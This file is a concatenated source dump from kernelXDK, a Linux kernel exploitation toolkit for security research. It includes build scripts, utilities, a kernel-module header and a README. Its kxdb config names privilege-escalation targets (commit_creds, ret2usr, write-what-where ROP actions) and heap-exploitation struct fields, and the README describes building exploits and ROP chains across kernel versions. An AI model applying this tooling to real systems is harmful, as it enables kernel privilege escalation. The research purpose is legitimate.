$TIMES); do 49 | $SCRIPT_DIR/../image_runner/run.sh "$DISTRO" "$RELEASE_NAME" --custom-modules=keep --only-command-output --no-rootfs-update --dmesg=test_results/dmesg_$i.txt --qemu-args="-D test_results/debug_$i.txt -d int,cpu_reset,unimp,guest_errors" -- /test_runner --target-db test/artifacts/kernelctf.kxdb $TEST_RUNNER_ARGS > test_results/round_$i.txt & 50 | done 51 | 52 | wait 53 | 54 | printf "\nTAP results:\n" 55 | cat test_results/round_1.txt 56 | 57 | FAIL=0 58 | printf "\nSummary:\n" 59 | if [[ "$TIMES" == "1" ]]; then 60 | test/check_test_run.py 1 61 | else 62 | for i in $(seq 1 $TIMES); do 63 | echo -n "Round #$i: " 64 | test/check_test_run.py $i && echo "ok" || FAIL=1 65 | done 66 | fi 67 | 68 | exit $FAIL 69 | -------------------------------------------------------------------------------- /libxdk/util/ArgumentParser.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | using namespace std; 25 | 26 | class ArgumentParser { 27 | public: 28 | /** 29 | * @brief Parses command line arguments. 30 | * 31 | * @param argc The number of command line arguments. 32 | * @param argv An array of C-style strings representing the command line arguments. 33 | */ 34 | ArgumentParser(int argc, const char* argv[]); 35 | 36 | /** 37 | * @brief Gets all parsed options. 38 | * 39 | * @return A map where keys are option names and values are option values. 40 | */ 41 | const map& getOptions() const; 42 | 43 | /** 44 | * @brief Gets the value of a specific option. 45 | * 46 | * @param name The name of the option. 47 | * @return An optional containing the option value if found, otherwise nullopt. 48 | */ 49 | optional getOption(const string& name) const; 50 | 51 | /** 52 | * @brief Checks if a specific option exists. 53 | * 54 | * @param name The name of the option. 55 | * @return True if the option exists, false otherwise. 56 | */ 57 | bool hasOption(const string& name) const; 58 | 59 | optional getInt(const string& name) const; 60 | 61 | /** 62 | * @brief Gets the option value as a list separated by comma. 63 | * 64 | * @param name The name of the option. 65 | * @return An optional containing a vector of strings if the option is found, 66 | * otherwise nullopt. 67 | */ 68 | optional> getListOption(const string& name) const; 69 | 70 | /** 71 | * @brief Gets the positional arguments. 72 | * @return A vector of strings containing the positional arguments. 73 | */ 74 | const vector& getPositionalArgs() const; 75 | 76 | private: 77 | map options_; 78 | vector positionalArgs_; 79 | }; 80 | -------------------------------------------------------------------------------- /.github/workflows/db-generate-for-release.yml: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | name: 'DB: generate for a single release' 16 | on: 17 | workflow_dispatch: 18 | inputs: 19 | release: 20 | description: 'Distro and release name' 21 | type: string 22 | required: true 23 | workflow_call: 24 | inputs: 25 | release: 26 | type: string 27 | permissions: {} 28 | jobs: 29 | process_release: 30 | runs-on: ubuntu-latest 31 | steps: 32 | - name: Checkout repo 33 | uses: actions/checkout@v4 34 | 35 | - name: Authenticate to Google Cloud 36 | uses: google-github-actions/auth@v2 37 | with: 38 | credentials_json: '${{ secrets.DB_GCS_SA_KEY }}' 39 | 40 | - name: Install kxdb_tool prerequisites 41 | working-directory: kxdb_tool 42 | run: pip install -r requirements.txt 43 | 44 | - name: Enable KVM group perms 45 | run: | 46 | echo 'KERNEL=="kvm", GROUP="kvm", MODE="0666", OPTIONS+="static_node=kvm"' | sudo tee /etc/udev/rules.d/99-kvm4all.rules 47 | sudo udevadm control --reload-rules 48 | sudo udevadm trigger --name-match=kvm 49 | 50 | - name: Install Linux package prerequisites 51 | run: sudo apt-get update && sudo apt install -yq --no-install-recommends pahole python3-ropgadget qemu-system-x86 52 | 53 | - name: Install rp++ 54 | run: | 55 | wget https://github.com/0vercl0k/rp/releases/download/v2.1.3/rp-lin-gcc.zip 56 | unzip rp-lin-gcc.zip 57 | mv ./rp-lin rp++ 58 | chmod u+x rp++ 59 | echo "$PWD" >> "$GITHUB_PATH" 60 | 61 | - name: Install rop_generator prerequisites 62 | working-directory: rop_generator 63 | run: pip install -r requirements.txt 64 | 65 | - name: Create db for release 66 | working-directory: .github/scripts 67 | run: ./db_process_release.sh ${{ inputs.release }} --upload 68 | -------------------------------------------------------------------------------- /kxdb_tool/config.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """Module containing the configuration for generating the kxdb DB.""" 16 | 17 | symbols = [ 18 | # nm: T - text (code) section, global 19 | "prepare_kernel_cred", 20 | "commit_creds", 21 | "find_task_by_vpid", 22 | "switch_task_namespaces", 23 | "__x64_sys_fork", 24 | "msleep", 25 | "sock_def_write_space", 26 | "__sk_destruct", 27 | "rtnetlink_bind", 28 | 29 | # nm: D - initialized data section, global 30 | "init_nsproxy", 31 | "nft_last_type", 32 | 33 | # nm: d - initialized data section, local 34 | "anon_pipe_buf_ops", 35 | "qfq_qdisc_ops", 36 | "nft_last_ops" 37 | ] 38 | 39 | rop_actions = [ 40 | "msleep(ARG_time_msec)", 41 | "commit_creds(prepare_kernel_cred(&init_task))", 42 | "switch_task_namespaces(find_task_by_vpid(ARG_vpid=1), init_nsproxy)", 43 | "write_what_where_64(ARG_address, ARG_new_value)", 44 | "fork()", 45 | "telefork(ARG_sleep_msec=0xffffffff)", 46 | "ret2usr(ARG_user_rip, ARG_user_cs, ARG_user_rflags, ARG_user_sp, ARG_user_ss)", 47 | ] 48 | 49 | structs = { 50 | "pipe_buffer": ["ops"], 51 | "pipe_buf_operations": ["release", "get"], 52 | "msg_msg": ["m_list.next", "m_list.prev", "m_type", "m_ts", "next", "security"], 53 | "msg_msgseg": ["next"], 54 | "hfsc_class": ["level", "cl_parent", "vt_node.__rb_parent_color", 55 | "cf_node.__rb_parent_color", "cl_vt", "cl_cvtmin"], 56 | "simple_xattr": ["list.next?", "list.prev?", "rb_node.__rb_parent_color?", 57 | "rb_node.rb_right?", "rb_node.rb_left?", "name", "size", "value"], 58 | "Qdisc_ops": ["change"], 59 | "sock": ["sk_destruct", "sk_rcu.next"], 60 | "netlink_sock": ["sk.sk_destruct", "sk.sk_rcu.next", "sk.sk_rcu.func", "netlink_bind", "sk.sk_write_space"], 61 | "nft_expr_ops": ["dump?", "type?"], 62 | "nft_bitmap_elem": [], 63 | "nft_set_elem_expr": [], 64 | "nft_expr": ["ops?"], 65 | } 66 | -------------------------------------------------------------------------------- /libxdk/test/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # test/CMakeLists.txt 16 | project(kernelXDKTests) # Renamed project name 17 | 18 | set(TEST_SRCS 19 | TestRunner.cpp 20 | TestUtils.cpp 21 | TestEnvironment.cpp 22 | TestSuite.cpp 23 | main.cpp 24 | logging/PrintfLogger.cpp 25 | logging/TapLogger.cpp 26 | ) 27 | 28 | set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -static") 29 | set(KXDB_DOWNLOAD_URL "https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb") 30 | set(KXDB_OUTPUT_FILE "${CMAKE_CURRENT_SOURCE_DIR}/artifacts/kernelctf.kxdb") 31 | 32 | add_executable(${PROJECT_NAME} ${TEST_SRCS}) # ${PROJECT_NAME} here is kernelXDKTests 33 | 34 | # Link the test executable to your main library 35 | target_link_libraries(${PROJECT_NAME} PRIVATE kernelXDK) # Renamed library 36 | 37 | target_include_directories(${PROJECT_NAME} PRIVATE 38 | ${CMAKE_CURRENT_SOURCE_DIR}/.. 39 | ${CMAKE_CURRENT_SOURCE_DIR}/tests 40 | ${CMAKE_CURRENT_SOURCE_DIR}/logging 41 | # Ensure these paths are correct relative to 'test/' 42 | ${CMAKE_CURRENT_SOURCE_DIR}/../xdk_device 43 | ${CMAKE_CURRENT_SOURCE_DIR}/../rip 44 | ${CMAKE_CURRENT_SOURCE_DIR}/../target 45 | ${CMAKE_CURRENT_SOURCE_DIR}/../util 46 | ${CMAKE_CURRENT_SOURCE_DIR}/../pivot 47 | ${CMAKE_CURRENT_SOURCE_DIR}/../payloads 48 | ) 49 | 50 | if(NOT EXISTS "${KXDB_OUTPUT_FILE}") 51 | message(STATUS "Downloading ${KXDB_DOWNLOAD_URL} to ${KXDB_OUTPUT_FILE}...") 52 | file(DOWNLOAD "${KXDB_DOWNLOAD_URL}" "${KXDB_OUTPUT_FILE}" TLS_VERIFY TRUE) 53 | endif() 54 | 55 | add_custom_command( 56 | TARGET ${PROJECT_NAME} POST_BUILD 57 | COMMAND ${CMAKE_COMMAND} -E copy_directory 58 | "${CMAKE_CURRENT_SOURCE_DIR}/artifacts" 59 | "$/artifacts" 60 | COMMENT "Copying test artifacts for ${PROJECT_NAME}" 61 | ) 62 | 63 | enable_testing() 64 | add_test(NAME kernelXDKMainTests COMMAND ${PROJECT_NAME} --test-suites StaticTests --tests "^TODO") # Renamed test name 65 | -------------------------------------------------------------------------------- /kxdb_tool/data_model/meta.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import re 16 | from typing import Dict, List, Optional 17 | from pydantic.dataclasses import dataclass 18 | 19 | @dataclass 20 | class SymbolMeta(): 21 | name: str 22 | 23 | @dataclass 24 | class RopActionArg(): 25 | name: str 26 | required: bool 27 | default_value: Optional[int] = None 28 | 29 | @dataclass 30 | class RopActionMeta(): 31 | desc: str 32 | args: List[RopActionArg] 33 | 34 | @classmethod 35 | def from_config(cls, desc: str): 36 | ARG_PATTERN = r"ARG_([a-z0-9_]+)(?:=(0x[0-9a-fA-F]+|[0-9]+))?" 37 | args = [] 38 | for name, default_value in re.findall(ARG_PATTERN, desc): 39 | args.append(RopActionArg(name, not default_value, 40 | int(default_value, 0) if default_value else None)) 41 | return cls(desc=desc, args=args) 42 | 43 | @dataclass 44 | class StructFieldMeta(): 45 | field_name: str 46 | optional: bool 47 | 48 | @dataclass 49 | class StructMeta(): 50 | struct_name: str 51 | fields: List[StructFieldMeta] 52 | 53 | @dataclass 54 | class MetaConfig(): 55 | symbols: List[SymbolMeta] 56 | rop_actions: List[RopActionMeta] 57 | structs: List[StructMeta] 58 | 59 | @classmethod 60 | def from_desc(cls, 61 | symbols: Dict[int, str] = {}, 62 | rop_actions: List[str] = {}, 63 | structs: Dict[str, List[str]] = {}): 64 | symbols = [SymbolMeta(name=name) for name in symbols] 65 | rop_actions = [RopActionMeta.from_config(desc) for desc in rop_actions] 66 | 67 | structs_ = [] 68 | for struct_name, fields in structs.items(): 69 | fields_ = [] 70 | for field_name in fields: 71 | optional = field_name.endswith("?") 72 | if optional: 73 | field_name = field_name[:-1] 74 | fields_.append(StructFieldMeta(field_name=field_name, optional=optional)) 75 | structs_.append(StructMeta(struct_name=struct_name, fields=fields_)) 76 | 77 | return cls(symbols=symbols, rop_actions=rop_actions, structs=structs_) 78 | -------------------------------------------------------------------------------- /libxdk/util/ArgumentParser.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include "util/ArgumentParser.h" 20 | #include 21 | 22 | using namespace std; 23 | 24 | ArgumentParser::ArgumentParser(int argc, const char* argv[]) { 25 | vector args(argv, argv + argc); 26 | 27 | for (size_t i = 1; i < args.size(); ++i) { 28 | auto arg = args[i]; 29 | 30 | size_t hyphenCount = 0; 31 | while (hyphenCount < arg.size() && arg[hyphenCount] == '-') hyphenCount++; 32 | 33 | if (hyphenCount == 0) { 34 | positionalArgs_.push_back(arg); 35 | } else { 36 | arg = arg.substr(hyphenCount); 37 | 38 | string value = ""; 39 | if (i + 1 < args.size() && !args[i + 1].empty() && 40 | args[i + 1][0] != '-') { 41 | value = args[i + 1]; 42 | i++; 43 | } 44 | 45 | if (options_.count(arg) > 0) 46 | options_[arg] += "," + value; 47 | else 48 | options_[arg] = value; 49 | } 50 | } 51 | } 52 | 53 | const std::map& ArgumentParser::getOptions() const { 54 | return options_; 55 | } 56 | 57 | std::optional ArgumentParser::getOption(const string& name) const { 58 | auto it = options_.find(name); 59 | return it != options_.end() ? optional(it->second) : nullopt; 60 | } 61 | 62 | bool ArgumentParser::hasOption(const string& name) const { 63 | return options_.find(name) != options_.end(); 64 | } 65 | 66 | std::optional ArgumentParser::getInt(const string& name) const { 67 | auto it = options_.find(name); 68 | return it != options_.end() ? optional(stoi(it->second)) : nullopt; 69 | } 70 | 71 | std::optional> ArgumentParser::getListOption( 72 | const string& name) const { 73 | auto it = options_.find(name); 74 | return it != options_.end() ? optional(split(it->second, ",")) : nullopt; 75 | } 76 | 77 | const std::vector& ArgumentParser::getPositionalArgs() const { 78 | return positionalArgs_; 79 | } 80 | -------------------------------------------------------------------------------- /kxdb_tool/converter/image_db_utils.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import re 16 | import traceback 17 | 18 | from converter.image_db_target import ImageDbTarget 19 | from converter.utils import list_dirs 20 | from converter.utils import natural_sort_key 21 | 22 | def collect_image_db_targets(releases_dir, release_filter=None): 23 | targets = [] 24 | for distro in list_dirs(releases_dir): 25 | for release_name in list_dirs(f"{releases_dir}/{distro}"): 26 | full_name = f"{distro}/{release_name}" 27 | if release_filter and not re.search(release_filter, full_name): 28 | continue 29 | 30 | target = ImageDbTarget(distro, release_name, f"{releases_dir}/{full_name}") 31 | targets.append(target) 32 | return targets 33 | 34 | def get_targets_from_image_db(meta_config, image_db_path, release_filter, logger, allow_partial=False, allow_missing=False): 35 | logger.info("Collecting targets...\n") 36 | db_targets = collect_image_db_targets(f"{image_db_path}/releases", release_filter) 37 | db_targets.sort(key=lambda t: natural_sort_key(str(t))) 38 | 39 | if allow_partial: 40 | valid_targets = db_targets 41 | else: 42 | targets_with_missing_files = [t for t in db_targets if t.missing_files] 43 | if targets_with_missing_files: 44 | error_msg = "The following targets will be skipped as some of the " \ 45 | "required files are missing:\n" 46 | for target in targets_with_missing_files: 47 | error_msg += f" - {target.distro}/{target.release_name}: " \ 48 | f"{', '.join(target.missing_files)}\n" 49 | logger.error(error_msg) 50 | 51 | valid_targets = [t for t in db_targets if not t.missing_files] 52 | 53 | targets = [] 54 | for db_target in valid_targets: 55 | logger.info(f"Processing target: {db_target}") 56 | try: 57 | targets.append(db_target.process(meta_config, allow_partial, allow_missing)) 58 | except Exception: 59 | logger.error(f"Failed processing target: {traceback.format_exc()}") 60 | 61 | logger.info(f"Processed {len(targets)} targets.") 62 | return targets -------------------------------------------------------------------------------- /third_party/kernel_modules/xdk_device/utils.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 */ 2 | /* Copyright 2024 Google LLC 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of the GNU General Public License 6 | * version 2 as published by the Free Software Foundation. 7 | * 8 | * This program is distributed in the hope that it will be useful, 9 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | * GNU General Public License for more details. 12 | */ 13 | 14 | #pragma once 15 | 16 | #define LOG(msg, ...) printk(KERN_ERR "xdk_dev: " msg "\n" __VA_OPT__(,) __VA_ARGS__) 17 | 18 | #define CHECK_ALLOC(x) ({ \ 19 | typeof(x) __temp = (x); \ 20 | if(!__temp) { \ 21 | LOG("%s: " #x " returned 0.", __func__); \ 22 | return -ERROR_ALLOC; \ 23 | } \ 24 | __temp; \ 25 | }) 26 | 27 | #define CHECK_ZERO_NO_RET(x) ({ \ 28 | typeof(x) __temp = (x); \ 29 | if(__temp) \ 30 | LOG("%s: " #x " returned non-zero (%ld).", __func__, (long int) __temp); \ 31 | __temp; \ 32 | }) 33 | 34 | #define CHECK_ZERO(x, ERROR_CODE) ({ \ 35 | typeof(x) __temp = (x); \ 36 | if(__temp) { \ 37 | LOG("%s: " #x " returned non-zero (%ld).", __func__, (long int) __temp); \ 38 | return -ERROR_CODE; \ 39 | } \ 40 | __temp; \ 41 | }) 42 | 43 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 5, 0) 44 | #define _raw_copy_from_user raw_copy_from_user 45 | #define _raw_copy_to_user raw_copy_to_user 46 | #else 47 | #define _raw_copy_from_user _copy_from_user 48 | #define _raw_copy_to_user _copy_to_user 49 | #endif 50 | 51 | #define STRUCT_FROM_USER(kernel_struct_ptr, user_ptr) CHECK_ZERO(copy_from_user(kernel_struct_ptr, user_ptr, sizeof(*kernel_struct_ptr)), ERROR_COPY_FROM_USER_STRUCT) 52 | #define STRUCT_TO_USER(kernel_struct_ptr, user_ptr) CHECK_ZERO(copy_to_user(user_ptr, kernel_struct_ptr, sizeof(*kernel_struct_ptr)), ERROR_COPY_TO_USER_STRUCT) 53 | #define DATA_FROM_USER(kernel_ptr, user_ptr, len) CHECK_ZERO(copy_from_user(kernel_ptr, user_ptr, len), ERROR_COPY_FROM_USER_DATA) 54 | #define DATA_TO_USER(kernel_ptr, user_ptr, len) CHECK_ZERO(copy_to_user(user_ptr, kernel_ptr, len), ERROR_COPY_TO_USER_DATA); 55 | #define RAW_DATA_FROM_USER(kernel_ptr, user_ptr, len) CHECK_ZERO(_raw_copy_from_user(kernel_ptr, user_ptr, len), ERROR_COPY_FROM_USER_DATA) 56 | #define RAW_DATA_TO_USER(kernel_ptr, user_ptr, len) CHECK_ZERO(_raw_copy_to_user(user_ptr, kernel_ptr, len), ERROR_COPY_TO_USER_DATA); 57 | #define STRING_FROM_USER(kernel_buf, user_ptr) CHECK_ALLOC(strncpy_from_user(kernel_buf, user_ptr, ARRAY_SIZE(kernel_buf))) 58 | -------------------------------------------------------------------------------- /libxdk/include/xdk/util/HexDump.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | /** 26 | * @defgroup util_classes Utility Classes 27 | * @brief Helper classes for various utilities. 28 | */ 29 | 30 | /** 31 | * @ingroup util_classes 32 | * @class HexDump 33 | * @brief Utility class for generating hexadecimal dumps of memory. 34 | */ 35 | class HexDump { 36 | public: 37 | /** 38 | * @brief Generates a hexadecimal dump of a memory buffer into a character array. 39 | * @param dst The destination character array to write the dump to. 40 | * @param buf The buffer containing the data to dump. 41 | * @param len The number of bytes to dump. 42 | * @note The dst buf needs to be large enough to store all the data. 16 bytes are converted into: "00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF | 0123456789ABCDEF\n" (70 bytes) 43 | */ 44 | static void Dump(char* dst, const uint8_t* buf, int len); 45 | 46 | /** 47 | * @brief Generates a hexadecimal dump of a memory buffer into a string. 48 | * @param buf The buffer containing the data to dump. 49 | * @param len The number of bytes to dump. 50 | * @return A string containing the hexadecimal dump. 51 | */ 52 | static std::string Dump(const void* buf, int len); 53 | 54 | /** 55 | * @brief Generates a hexadecimal dump of a vector of bytes into a string. 56 | * @param data The vector of bytes to dump. 57 | * @return A string containing the hexadecimal dump. 58 | */ 59 | static std::string Dump(const std::vector& data); 60 | 61 | /** 62 | * @brief Prints a hexadecimal dump of a memory buffer to the standard output. 63 | * @param buf The buffer containing the data to dump. 64 | * @param len The number of bytes to dump. 65 | */ 66 | static void Print(const void* buf, int len); 67 | 68 | /** 69 | * @brief Prints a hexadecimal dump of a vector of bytes to the standard 70 | * output. 71 | * @param data The vector of bytes to dump. 72 | */ 73 | static void Print(const std::vector& data); 74 | }; -------------------------------------------------------------------------------- /libxdk/util/str.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | std::string format_str(const char* format, va_list args) { 22 | std::va_list args_copy; 23 | va_copy(args_copy, args); 24 | int len = std::vsnprintf(nullptr, 0, format, args_copy); 25 | va_end(args_copy); 26 | 27 | std::string result(len, '\0'); 28 | std::vsnprintf(result.data(), len + 1, format, args); 29 | va_end(args); 30 | return result; 31 | } 32 | 33 | std::string str_concat(const std::string& delimiter, const std::vector& strings) { 34 | std::string result; 35 | for (size_t i = 0; i < strings.size(); i++) { 36 | if (i != 0) 37 | result.append(delimiter); 38 | result.append(strings[i]); 39 | } 40 | return result; 41 | } 42 | 43 | void replace(std::string& str, const std::string& from, const std::string& to) { 44 | std::string::size_type pos = 0u; 45 | while ((pos = str.find(from, pos)) != std::string::npos) { 46 | str.replace(pos, from.length(), to); 47 | pos += to.length(); 48 | } 49 | } 50 | 51 | void tolower(std::string& str) { 52 | std::transform(str.begin(), str.end(), str.begin(), 53 | [](unsigned char c){ return std::tolower(c); }); 54 | } 55 | 56 | std::vector split(const std::string& str, const std::string& delimiter) { 57 | std::vector results; 58 | size_t start = 0; 59 | size_t end = str.find(delimiter); 60 | 61 | while (end != std::string::npos) { 62 | results.push_back(str.substr(start, end - start)); 63 | start = end + delimiter.length(); 64 | end = str.find(delimiter, start); 65 | } 66 | 67 | results.push_back(str.substr(start)); 68 | return results; 69 | } 70 | 71 | bool contains(const std::string& str, const std::string& pattern) { 72 | return str.find(pattern) != std::string::npos; 73 | } 74 | 75 | bool startsWith(const std::string& str, const std::string& prefix) { 76 | return str.compare(0, prefix.length(), prefix) == 0; 77 | } -------------------------------------------------------------------------------- /image_runner/compile_custom_modules.sh: -------------------------------------------------------------------------------- 1 | # Copyright 2024 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | DISTRO="$1" 16 | RELEASE_NAME="$2" 17 | CUSTOM_MODULES="$3" 18 | 19 | SCRIPT_DIR=$(dirname $(realpath "$0")) 20 | cd $SCRIPT_DIR 21 | 22 | RELEASE_DIR="$SCRIPT_DIR/../image_db/releases/$DISTRO/$RELEASE_NAME" 23 | CUSTOM_MODULES_DIR="$RELEASE_DIR/custom_modules" 24 | CUSTOM_MODULES_BUILD_DIR="$RELEASE_DIR/.custom_modules_build" 25 | 26 | usage() { 27 | echo "Usage: $0 (kernelctf|ubuntu) "; 28 | exit 1; 29 | } 30 | 31 | if [[ $# -lt 3 ]]; then usage; fi 32 | if [ -z "$CUSTOM_MODULES" ]; then exit; fi 33 | 34 | ../image_db/download_release.sh "$DISTRO" "$RELEASE_NAME" headers 35 | VERSION_FN="$RELEASE_DIR/version.txt" 36 | if [ ! -f "$VERSION_FN" ]; then 37 | ./run.sh --only-command-output $DISTRO $RELEASE_NAME -- cat /proc/version > $VERSION_FN 38 | fi 39 | 40 | mkdir -p $CUSTOM_MODULES_DIR 41 | rm $CUSTOM_MODULES_DIR/*.ko 42 | mkdir -p "$CUSTOM_MODULES_BUILD_DIR" 43 | 44 | for MODULE_NAME in ${CUSTOM_MODULES//,/ }; do 45 | HDR_DIR="$RELEASE_DIR/linux-headers-for-module/" 46 | MODULE_DIR="$SCRIPT_DIR/../third_party/kernel_modules/$MODULE_NAME" 47 | BUILD_DIR="$CUSTOM_MODULES_BUILD_DIR/$MODULE_NAME" 48 | 49 | cp -a "$MODULE_DIR/." "$BUILD_DIR/" 50 | 51 | if [[ "$DISTRO" = "kernelctf" ]] && [ ! -f "$HDR_DIR/.modules_prepared" ]; then 52 | make -C $HDR_DIR olddefconfig 53 | make -C $HDR_DIR prepare 54 | 55 | # "LOCALVERSION=" is needed because otherwise if the repo is not clean, it will add a + into 56 | # the version (e.g. 6.1.81 -> 6.1.81+) which makes the module incompatible 57 | LOCALVERSION="" 58 | if grep '[+]' $VERSION_FN; then LOCALVERSION="+"; fi 59 | make LOCALVERSION=$LOCALVERSION -C $HDR_DIR modules_prepare && touch "$HDR_DIR/.modules_prepared" 60 | fi 61 | 62 | KBUILD_MODPOST_WARN=1 make -C $HDR_DIR M=$BUILD_DIR modules || exit 1 63 | cp "$BUILD_DIR/$MODULE_NAME.ko" $CUSTOM_MODULES_DIR/ 64 | #make -C $HDR_DIR M=$MODULE_DIR clean 65 | done 66 | tar --directory=$CUSTOM_MODULES_DIR --owner=root --group=root -cf $CUSTOM_MODULES_DIR.tar . > /dev/null 67 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Linux kernel security research tools 2 | 3 | This repository contains useful tools for Linux kernel security research, called the kernelXDK: 4 | 5 | * **libxdk**: a work-in-progress Linux Kernel exploitation kit, which contains (will contain) the necessary building blocks for building exploits for the Linux kernel which can target various kernel versions. 6 | * For more details, read the [libxdk/README.md](libxdk/README.md) file. 7 | 8 | * **rop_generator**: tools for generating ROP chains and stack pivots on Linux Kernel images. 9 | * For more details, read the [rop_generator/README.md](rop_generator/README.md) file. 10 | 11 | * **image_runner**: tool for running various kernel distributions, with debugging and custom kernel module compilation support. 12 | * For more details, read the [image_runner/README.md](image_runner/README.md) file. 13 | 14 | * **image_db**: tools for downloading kernel various distribution release files and extracting various information from them. 15 | * For more details, read the [image_db/README.md](image_db/README.md) file. 16 | 17 | * **xdk_device**: kernel module for simulating vulnerabilities in the kernel, tracking function calls and testing exploitation primitives. 18 | * For more details, read the [third_party/kernel_modules/xdk_device/README.md](third_party/kernel_modules/xdk_device/README.md) file. 19 | 20 | * **kxdb_tool**: a database builder which contains exploitation information (symbol addresses, ROP gadgets, stack pivots, structure field offsets) for multiple kernel targets and consumed by the exploit kit to customize exploits for targets. 21 | * For more details, read the [kxdb_tool/README.md](kxdb_tool/README.md) file. 22 | 23 | ## 